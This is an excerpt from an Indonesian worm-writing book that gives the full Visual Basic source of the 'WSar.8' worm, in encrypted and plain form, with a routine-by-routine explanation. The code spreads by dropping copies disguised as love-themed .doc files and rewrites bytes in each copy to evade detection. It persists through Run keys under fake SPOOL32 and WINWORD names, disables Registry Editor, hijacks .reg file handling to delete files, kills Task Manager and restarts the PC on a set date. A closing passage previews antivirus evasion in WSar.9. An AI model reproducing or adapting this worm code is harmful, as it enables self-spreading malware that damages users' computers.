objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÃèÚäÚçåÚá äî äÚç äÞæÛÚåâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("Óîä ðîãîÝäÚç ìÞæîÚ áÚëÚéÚç") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÂâçíÚ ÝÚç äÚìâá ÚÛÚÝâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF0000 objWord.Selection.ParagraphFormat. _ LeftIndent = 0 objWord.Selection.Text = Decrypt("ÑÞåÚäÚç ìÚòÚçà äÞéÞëàâÚçäî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÇÚéîìåÚá Úâë æÚíÚæî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÊîÛÞëãÚçãâ ìÞíîåîì áÚíâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÊîäÚç ìÞàÞëÚ äÞæÛÚåâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF00FF objWord.Selection.ParagraphFormat. _ LeftIndent = 57 objWord.Selection.Text = Decrypt("ÊîÛÞëâ ìÞåÞæÛÚë ßèíèäî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÒÞÛÚàÚâ éÞçàèÛÚí ëâçÝî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÊîÛÞëãÚçãâ äÚç íÞíÚé ìÞíâÚ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÒÚæéÚâ Úäáâë æÚìÚ . . .") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Font.Animation = 0 objWord.Selection.ParagraphFormat. _ LeftIndent = 0 objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _
226
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
"Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() End Sub
Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End RegKiller() If LCase(App.EXEName) = Decrypt("ìéèèå÷ö") Then App.TaskVisible = False tmrSPOOL32.Enabled = True GoTo akhir End If If LCase(App.EXEName) = Decrypt("ðâçðèëÝ") Then tmrWINWORD.Enabled = True tmrDir.Enabled = True tmrIseng.Enabled = True GoTo akhir End If OpenApp() If Dir(SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) "" And _ WinCheck(Decrypt("ÖÈÍÖÎÑÃ.Ä×Ä")) = True Then End tmrSPOOL32_Timer() Unload(Me) akhir: End Sub
Bab 14. Worm WSar.8
Private Sub Worming() On Error Resume Next Dim Acak As Integer Dim i As Integer Dim NamaCantik(10) As String NamaCantik(0) = Decrypt("éîâìâ ÜâçíÚ.ÝèÜ") NamaCantik(1) = Decrypt("äÚçàÞç íÞëéÞçÝÚæ.ÝèÜ") NamaCantik(2) = Decrypt("äÞçÚçàÚç íÞëåîéÚ.ÝèÜ") NamaCantik(3) = Decrypt("äÚìâá ÝÚåÚæ ÝîäÚ.ÝèÜ") NamaCantik(4) = Decrypt("æîìîá íÞëìÚòÚçà.ÝèÜ") NamaCantik(5) = Decrypt("âçÝÚáçòÚ ìÞåâçàäîá.ÝèÜ") NamaCantik(6) = Decrypt("äèëÛÚç ìÞíâÚ.ÝèÜ") NamaCantik(7) = Decrypt("ìòÚâë ÛÞëÜâçíÚ.ÝèÜ") NamaCantik(8) = Decrypt("ëâçÝî íÞëåÚëÚçà.ÝèÜ") NamaCantik(9) = Decrypt("ÜâçíÚ ìÞàâ ÞæéÚí.ÝèÜ") For i = 0 To lstDir.ListCount Randomize() Acak = Int(Rnd * 10) If Len(Dir$(lstDir.List(i) & "*doc .exe")) _ = 0 Then PolyCopy(WormFile, lstDir.List(i) & NamaCantik(Acak) & " .exe") End If Next i End Sub
227
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Private Sub tmrDir_Timer() On Error Resume Next GetDir(lstDir) Worming() If Day(Now) = 13 And Month(Now) = 10 Then tmrDir.Enabled = False PayLoad() End If End Sub Private Sub PayLoad() Restart() End Sub Private Sub tmrIseng_Timer() If Second(Now) > 52 Then WildMouse(True) Else WildMouse(False) End If End Sub
Bab 14. Worm WSar.8
Private Sub tmrWINWORD_Timer() On Error Resume Next tmrWINWORD.Enabled = False If Dir(SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) = "" Or _ WinCheck(Decrypt("ÒÏÎÎË÷ö.Ä×Ä")) = False Then PolyCopy(WormFile, SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) Shell(SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) End If If GetStringValue(Decrypt("ÇÊÄØ_ËÎÂÀË_ÌÀÂÇÈÍÄ\ÒèßíðÚ" & _ "ëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("Ïëâç" & _ "íÞë Âéå")) SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä") Then SetStringValue(Decrypt("ÇÊÄØ_ËÎÂÀË_ÌÀÂÇÈÍÄ\ÒèßíðÚëÞ\" & _ "ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("ÏëâçíÞë " & _ "Âéå"), SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) End If If GetStringValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\Òèßíð" & _ "ÚëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("Ìâ" & _ "Üëèìèßí ÖèëÝ")) SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑ" & _ "Ã.Ä×Ä") Then SetStringValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\ÒèßíðÚëÞ" & _ "\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("ÌâÜëèì" & _ "èßí ÖèëÝ"), SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) End If Call WormFighter() WinExit("taskmgr.exe") tmrWINWORD.Enabled = True End Sub
228
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Sub tmrSPOOL32_Timer() On Error Resume Next tmrSPOOL32.Enabled = False If Dir(SpecialFolder(1) & Decrypt _ ("\ÖÈÍÖÎÑÃ.Ä×Ä")) = "" Or WinCheck(Decrypt _ ("ÖÈÍÖÎÑÃ.Ä×Ä")) = False Then PolyCopy(WormFile, SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) Shell(SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) End If tmrSPOOL32.Enabled = True End Sub Private Sub RegKiller() On Error Resume Next CreateKey(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\ÒèßíðÚëÞ\ÌâÜ" & _ "ëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\ÏèåâÜâÞì\ÒòìíÞæ")) If GetDWORDValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\Òèß" & _ "íðÚëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\ÏèåâÜâÞì\ÒòìíÞæ"), _ Decrypt("ÃâìÚÛåÞÑÞàâìíëòÓèèåì")) 1 Then SetDWORDValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\Òèßíð" & _ "ÚëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\ÏèåâÜâÞì\ÒòìíÞæ"), _ Decrypt("ÃâìÚÛåÞÑÞàâìíëòÓèèåì"), 1) End If If Dir(SpecialFolder(1) & Decrypt("\ÜæÝ.ÞñÞ")) "" Then SetStringValue(Decrypt("ÇÊÄØ_ÂËÀÒÒÄÒ_ÑÎÎÓ\ëÞàßâåÞ\ìá" & _ "Þåå\èéÞç\ÜèææÚçÝ"), "", Decrypt("ÜæÝ.ÞñÞ /Ü ÝÞå ") & _ """%1""") Else SetStringValue(Decrypt("ÇÊÄØ_ÂËÀÒÒÄÒ_ÑÎÎÓ\ëÞàßâåÞ\ìá" & _ "Þåå\èéÞç\ÜèææÚçÝ"), "", Decrypt("ÜèææÚçÝ.Üèæ /Ü ÝÞå ") _ & """%1""") End If SetStringValue(Decrypt("ÇÊÄØ_ÂËÀÒÒÄÒ_ÑÎÎÓ\ÞñÞßâåÞ"), _ Decrypt("ÍÞïÞëÒáèðÄñí"), "") End Sub
Bab 14. Worm WSar.8
Function PolyCopy(ByVal Source As String, ByVal Destination As String) On Error Resume Next Dim RndNum As String Dim RndNo As String Dim PoliStr As String Dim i As Long RndNum = RndNum & Second(Now) If Len(RndNum) = 2 Then For i = 1 To 2 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i Else For i = 1 To 3 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i End If
229
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
If LCase(Right(Source, 4)) ".exe" Then Source = Source & ".exe" End If FileCopy(Source, Destination) Open Destination For Binary As #1 Source = Space$(LOF(1)) Get #1, , Source PoliStr = Mid(Source, 113, 4) Put #1, InStr(1, Source, PoliStr), RndNum Close #1 End Function Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Sebagai perbandingan berikut ini adalah source code pada object frmWSar8 yang belum terenkripsi. 'WSar.8 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On
Bab 14. Worm WSar.8
Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function
230
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Sub WormFighter() On Error Resume Next 'Pesin removal If Dir(SpecialFolder(1) & "\systask.exe") "" Then WinExit("systask.exe") Kill(SpecialFolder(1) & "\systask.exe") MsgBox("This place is not enough for us !", vbInformation, _ "Rest In Peace... Pesin") End If 'Kangen removal If Dir(SpecialFolder(1) & "\ccapps.exe") "" Then WinExit("ccapps.exe") WinExit("kangen.exe") Kill(SpecialFolder(1) & "\ccapps.exe") Kill(SpecialFolder(1) & "\kangen.exe") Kill(SpecialFolder(1) & "\winlog.*") MsgBox("This place is not enough for us !", vbInformation, _ "Rest In Peace... Kangen") End If End Sub
Bab 14. Worm WSar.8
Private Sub OpenApp() On Error Resume Next Dim objWord As Object objWord = CreateObject("Word.Application") objWord.Visible = True objWord.Documents.Add() objWord.Selection.Font.Shadow = True objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Name = "Arial Black" objWord.Selection.Font.Size = 18 objWord.Selection.Font.Bold = True objWord.Selection.Font.Bold = True objWord.Selection.Font.Color = &HFF0000 objWord.Selection.Font.Animation = 2 objWord.Selection.Text = "SETIA HINGGA AKHIR MASA" objWord.Selection.MoveDown() objWord.Selection.Font.Animation = 0 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph()
231
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. Worm WSar.8
objWord.Selection.Font.Size = 14 objWord.Selection.Font.Name = "Arial" objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Animation = 3 objWord.Selection.Text = "Malam ini ku bernyanyi" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Hanya gemintang menemani" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Memberiku sinaran" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Penyejuk hati" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &H80FF& objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = "Kulangkahkan kakiku ini" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Doakanlah ku kan kembali" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Tuk wujudkan semua harapan" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Cinta dan kasih abadi" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF0000 objWord.Selection.ParagraphFormat.LeftIndent = 0 objWord.Selection.Text = "Relakan sayang kepergianku" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Hapuslah air matamu" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Kuberjanji setulus hati" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Kukan segera kembali" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF00FF objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = "Kuberi selembar fotoku" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Sebagai pengobat rindu" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph()
232
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
objWord.Selection.Text = "Kuberjanji kan tetap setia" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Sampai akhir masa . . ." objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Font.Animation = 0 objWord.Selection.ParagraphFormat.LeftIndent = 0 objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() End Sub
Bab 14. Worm WSar.8
Private Sub Worming() On Error Resume Next Dim Acak As Integer Dim i As Integer Dim NamaCantik(10) As String NamaCantik(0) = "puisi cinta.doc" NamaCantik(1) = "kangen terpendam.doc" NamaCantik(2) = "kenangan terlupa.doc" NamaCantik(3) = "kasih dalam duka.doc" NamaCantik(4) = "musuh tersayang.doc" NamaCantik(5) = "indahnya selingkuh.doc" NamaCantik(6) = "korban setia.doc" NamaCantik(7) = "syair bercinta.doc" NamaCantik(8) = "rindu terlarang.doc" NamaCantik(9) = "cinta segi empat.doc" For i = 0 To lstDir.ListCount Randomize() Acak = Int(Rnd * 10) If Len(Dir$(lstDir.List(i) & "*doc .exe")) _ = 0 Then PolyCopy(WormFile, lstDir.List(i) & NamaCantik(Acak) & " .exe") End If Next i End Sub
233
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End RegKiller() If LCase(App.EXEName) = "spool32" Then App.TaskVisible = False tmrSPOOL32.Enabled = True GoTo akhir End If If LCase(App.EXEName) = "winword" Then tmrWINWORD.Enabled = True tmrDir.Enabled = True tmrIseng.Enabled = True GoTo akhir End If OpenApp() If Dir(SpecialFolder(1) & "\WINWORD.EXE") "" And _ WinCheck("WINWORD.EXE") = True Then End tmrSPOOL32_Timer() Unload(Me) akhir: End Sub Private Sub tmrDir_Timer() On Error Resume Next GetDir(lstDir) Worming() If Day(Now) = 13 And Month(Now) = 10 Then tmrDir.Enabled = False PayLoad() End If End Sub Private Sub PayLoad() Restart() End Sub
Bab 14. Worm WSar.8
Private Sub tmrIseng_Timer() If Second(Now) > 52 Then WildMouse(True) Else WildMouse(False) End If End Sub Private Sub tmrWINWORD_Timer() On Error Resume Next tmrWINWORD.Enabled = False If Dir(SpecialFolder(0) & "\SPOOL32.EXE") = "" Or WinCheck _ ("SPOOL32.EXE") = False Then PolyCopy(WormFile, SpecialFolder(0) & "\SPOOL32.EXE") Shell(SpecialFolder(0) & "\SPOOL32.EXE") End If
234
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
If GetStringValue("HKEY_LOCAL_MACHINE\Software\Micr" & _ "osoft\Windows\CurrentVersion\Run", "Printer Cpl") _ SpecialFolder(0) & "\SPOOL32.EXE" Then SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "Printer Cpl", SpecialFolder _ (0) & "\SPOOL32.EXE") End If If GetStringValue("HKEY_CURRENT_USER\Software\Micros" & _ "oft\Windows\CurrentVersion\Run", "Microsoft Word") _ SpecialFolder(1) & "\WINWORD.EXE" Then SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Run", "Microsoft Word", _ SpecialFolder(1) & "\WINWORD.EXE") End If Call WormFighter() WinExit("taskmgr.exe") tmrWINWORD.Enabled = True End Sub
Private Sub RegKiller() On Error Resume Next CreateKey("HKEY_CURRENT_USER\Software\Microsoft\Win" & _ "dows\CurrentVersion\Policies\System") If GetDWORDValue("HKEY_CURRENT_USER\Software\Mic" & _ "rosoft\Windows\CurrentVersion\Policies\System", "DisableR" & _ "egistryTools") 1 Then SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Policies\System", "DisableRe" & _ "gistryTools", 1) End If If Dir(SpecialFolder(1) & "\cmd.exe") "" Then SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\co" & _ "mmand", "", "cmd.exe /c del " & """%1""") Else SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\co" & _ "mmand", "", "command.com /c del " & """%1""") End If SetStringValue("HKEY_CLASSES_ROOT\exefile", "NeverSho" & _ "wExt", "") End Sub
235
Jasakom
Bab 14. Worm WSar.8
Private Sub tmrSPOOL32_Timer() On Error Resume Next tmrSPOOL32.Enabled = False If Dir(SpecialFolder(1) & "\WINWORD.EXE") = "" _ Or WinCheck("WINWORD.EXE") = False Then PolyCopy(WormFile, SpecialFolder(1) & "\WINWORD.EXE") Shell(SpecialFolder(1) & "\WINWORD.EXE") End If tmrSPOOL32.Enabled = True End Sub
Computer Worm 1 - Secret of Underground Coding : Uncensored
Function PolyCopy(ByVal Source As String, ByVal Destination As String) On Error Resume Next Dim RndNum As String Dim RndNo As String Dim PoliStr As String Dim i As Long RndNum = RndNum & Second(Now) If Len(RndNum) = 2 Then For i = 1 To 2 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i Else For i = 1 To 3 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i End If If LCase(Right(Source, 4)) ".exe" Then Source = Source & ".exe" End If FileCopy(Source, Destination) Open Destination For Binary As #1 Source = Space$(LOF(1)) Get #1, , Source PoliStr = Mid(Source, 113, 4) Put #1, InStr(1, Source, PoliStr), RndNum Close #1 End Function
Bab 14. Worm WSar.8
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Berikut penjelasan tentang kode program: Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mendapatkan direktori Windows dan direktori System Windows. Procedure WormFighter memeriksa file systask.exe pada direktori System Windows yang merupakan file dari worm lokal Pesin, jika ditemukan procedure akan memanggil function WinExit untuk mematikan proses file tersebut kemudian langsung menghapusnya. Worm kemu-
236
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
dian menampilkan sebuah kotak pesan sebagai berikut:
Kotak pesan serupa akan tampil jika WSar.8 menemukan file dari worm Kangen dan memperlakukan hal yang sama seperti halnya pada worm Pesin.
Bab 14. Worm WSar.8
Procedure OpenApp akan membuka aplikasi Microsoft Word dengan teks ber-animasi lengkap, perhatikan gambar disamping ini.
237
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Procedure Worming akan membuat array sebanyak 10 data yang akan digunakan sebagai nama file. Worm kemudian memeriksa direktori pada ListBox lstDir dengan mencari file yang berakhiran "doc. exe". Apabila file worm tidak ditemukan maka worm akan membuat salinannya ke direktori tersebut dengan salah satu nama file yang dipilih secara acak. Procedure Form_Load dijalankan saat pertama kali file worm dieksekusi. Sebelumnya procedure melakukan pemeriksaan apakah file tersebut sudah terproses atau tidak, jika ternyata sudah terproses maka worm langsung diakhiri, jika tidak maka langsung memanggil procedure RegKiller. Jika nama file utama adalah "spool32" maka worm akan disembunyikan dari jendela task list, kemudian mengatur properti Enabled pada object tmrSPOOL32 menjadi true, dan langsung mengakhiri sub procedure. Jika nama file utama adalah "winword" maka worm mengatur properti Enabled untuk object tmrWINWORD, tmrDir dan tmrIseng menjadi true, dan langsung mengakhiri sub procedure. Selain itu worm memanggil procedure OpenApp dan memeriksa apakah file WINWORD.EXE pada direktori System Windows sudah ada dan sedang terproses, jika ya maka langsung mengakhiri proses file utama, tetapi jika tidak ditemukan maka worm akan memanggil procedure tmrSPOOL32_Timer, kemudian mengakhiri proses file utama. Bab 14. Worm WSar.8
Procedure tmrDir_Timer memanggil function GetDir dan menempatkan hasilnya pada ListBox lstDir, kemudian memanggil procedure Worming. Jika tanggal sekarang adalah 13 Oktober maka worm mengatur properti Enabled untuk object tmrIseng menjadi false, dan segera memanggil procedure Payload. Procedure tmrIseng_Timer memanggil function WildMouse dengan kondisi jika detik sekarang lebih besar dari 52 maka WildMouse bernilai true, selain itu WildMouse bernilai false. Procedure tmrWINWORD_Timer merupakan implementasi dari metode Watcher yang secara berkesinambungan melakukan pemeriksaan. Adapun pemeriksaan yang dilakukan adalah:
238
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
1. Jika file SPOOL32.EXE pada direktori system tidak ada atau tidak terproses maka procedure membuat salinan file utama ke direktori system dengan nama file tersebut dan langsung mengeksekusinya. 2. Jika procedure tidak mendapatkan nilai "Printer Cpl" dengan data alamat file worm SPOOL32.EXE pada key registry "HKEY_LOCAL_ MACHINE\Software\Microso ft\Windows\CurrentVersion\Run" maka procedure membuat nilai dan data registry tersebut. 3. Jika procedure tidak mendapatkan nilai "Microsoft Word" dengan data alamat file worm WINWORD.EXE pada key registry "HKEY_ LOCAL_MACHINE\Software\Microso ft\Windows\CurrentVersion\Run" maka procedure membuat nilai dan data registry tersebut. Kemudian procedure tmrWINWORD_Timer memanggil procedure WormFighter dan menghentikan proses file taskmgr.exe.
Procedure RegKiller bertugas untuk memastikan aplikasi Registry Editor tidak dapat digunakan oleh user, kemudian memanipulasi suatu nilai registry yang akan menghapus file *.reg jika user bermaksud untuk mengimpor suatu nilai registry secara instant dengan mengklik ganda file tersebut. Function PolyCopy adalah function yang berguna sebagai pengganti function FileCopy untuk kepentingan metode polymorphic, dengan mengubah 4 byte pada byte ke 112, 113, 114 dan 115 ("mode") dengan 4 angka yang diambil secara acak. Module mdlCrypt memuat dua function yaitu function Encrypt yang berguna untuk mengenkripsi plain text menjadi cipher text, kemudian function Decrypt yang mengubah cipher text menjadi plain text semula.
239
Jasakom
Bab 14. Worm WSar.8
Procedure tmrSPOOL32_Timer melakukan hal yang sama seperti pada procedure tmrWINWORD_Timer hanya saja procedure ini diberikan tugas yang lebih sedikit yaitu melakukan pemeriksaan terhadap keberadaan dan status proses file WINWORD.EXE pada direktori Windows, jika tidak ditemukan atau tidak terproses maka procedure akan membuat salinan file utama ke direktori Windows dengan nama file tersebut dan langsung mengeksekusinya.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Module mdlDir memuat tiga function dengan function utama function GetDir yang berguna untuk mendapatkan direktori aktif pada aplikasi Windows Explorer dan menempatkannya pada suatu ListBox tertentu. Module mdlRestart berfungsi untuk me-restart komputer, module mdlWildMouse berfungsi untuk membuat animasi pantulan-pantulan pointer mouse pada layar. Module mdlWinCheck berfungsi untuk memeriksa status proses suatu file. Catatan untuk WSar.8: berikut ini adalah contoh lain yang bisa diaplikasikan pada procedure OpenApp untuk membuka aplikasi Microsoft Excel:
Bab 14. Worm WSar.8
Private Sub OpenApp() On Error Resume Next Dim objExcel As Object objExcel = CreateObject("Excel.Application") objExcel.Visible = True objExcel.WorkBooks.Add() objExcel.Sheets("Sheet2").Select() objExcel.ActiveWindow.SelectedSheets.Delete() objExcel.Sheets("Sheet3").Select() objExcel.ActiveWindow.SelectedSheets.Delete() objExcel.Cells.Select() objExcel.Selection.Interior.ColorIndex = 1 objExcel.Selection.Interior.Pattern = 1 objExcel.Selection.Font.ColorIndex = 2 objExcel.Columns.Select() objExcel.Selection.ColumnWidth = 1.43 objExcel.Selection.RowHeight = 11.25 objExcel.Range("AP4:AQ5;AQ3:AS3;AS4:AT5;AQ6:" & _ "AS6;AP7:AQ9;AS7:AT9;AQ10:AS10;E3:F4;F5:" & _ "G8;G9:H10;H8:I8;I4:I8;J3:J5;K4:K8;L8:M1" & _ "0;M5:N8;N3:O4;P4:Q6;Q3:T3;T4:U4;R6:S7;T" & _ "7:U9;P9:Q9;Q10:T10;W8:X10;X5:Y8;Y3:AA4;" & _ "AA5:AB8;AB8:AC10;Z8;AE3:AF10;AG3:AI3").Select() With objExcel.Selection.Interior .ColorIndex = 6 .Pattern = 1 End With objExcel.Range("AI4:AJ6;AG7:AI7;AH8:AI8;AI9;" & _ "AJ9;AJ10:AK10;AM9:AN10").Select() With objExcel.Selection.Interior .ColorIndex = 6 .Pattern = 1 End With objExcel.Cells.Select() With objExcel.Selection.Borders(3) .LineStyle = 1 .ColorIndex = 1 End With
240
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab 14. Worm WSar.8
objExcel.Cells.Select() With objExcel.Selection.Borders(1) .LineStyle = 1 .ColorIndex = 1 End With objExcel.Range("E12:AT12").Select() objExcel.Selection.Merge() objExcel.Selection.HorizontalAlignment = 3 objExcel.Selection.Interior.ColorIndex = 2 objExcel.Rows("12:12").RowHeight = 21.75 objExcel.Selection.Font.Bold = True objExcel.Range("E12:AT12").Select() objExcel.ActiveCell.FormulaR1C1 = "B R I N G" & _ " T H E T R U T H T O Y O U R H O M E" With objExcel.ActiveCell.Font .Name = "Arial Black" .Size = 14 .ColorIndex = 1 End With objExcel.Sheets("Sheet1").Select() objExcel.Sheets("Sheet1").Name = "By Achmad Darmal" objExcel.ActiveSheet.Protect(DrawingObjects:= _ True, Contents:=True, Scenarios:=True) End Sub
241
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
BAB 15 WORM WSar.9
W
Sebaliknya, WSar.9 dapat mengubah nama proses "EXPLORER" atau "SVCHOST" asli menjadi nama proses yang berbeda misalnya "Ini Worm Loh" yang akan meyakinkan user bahwa file tersebut adalah worm, mengapa? karena system komputer akan shutdown atau restart dengan sendirinya jika user mematikan proses tersebut yang sebenarnya adalah proses "EXPLORER" atau "SVCHOST" asli. File launcher WSar.9 menggunakan nama yang berbeda untuk setiap Windows startup, hal ini bertujuan agar keberadaan worm tidak terancam oleh program-program seperti aplikasi antivirus, yang menggunakan metode scanning pada nama file.
243
Jasakom
Bab 15. Worm WSar.9
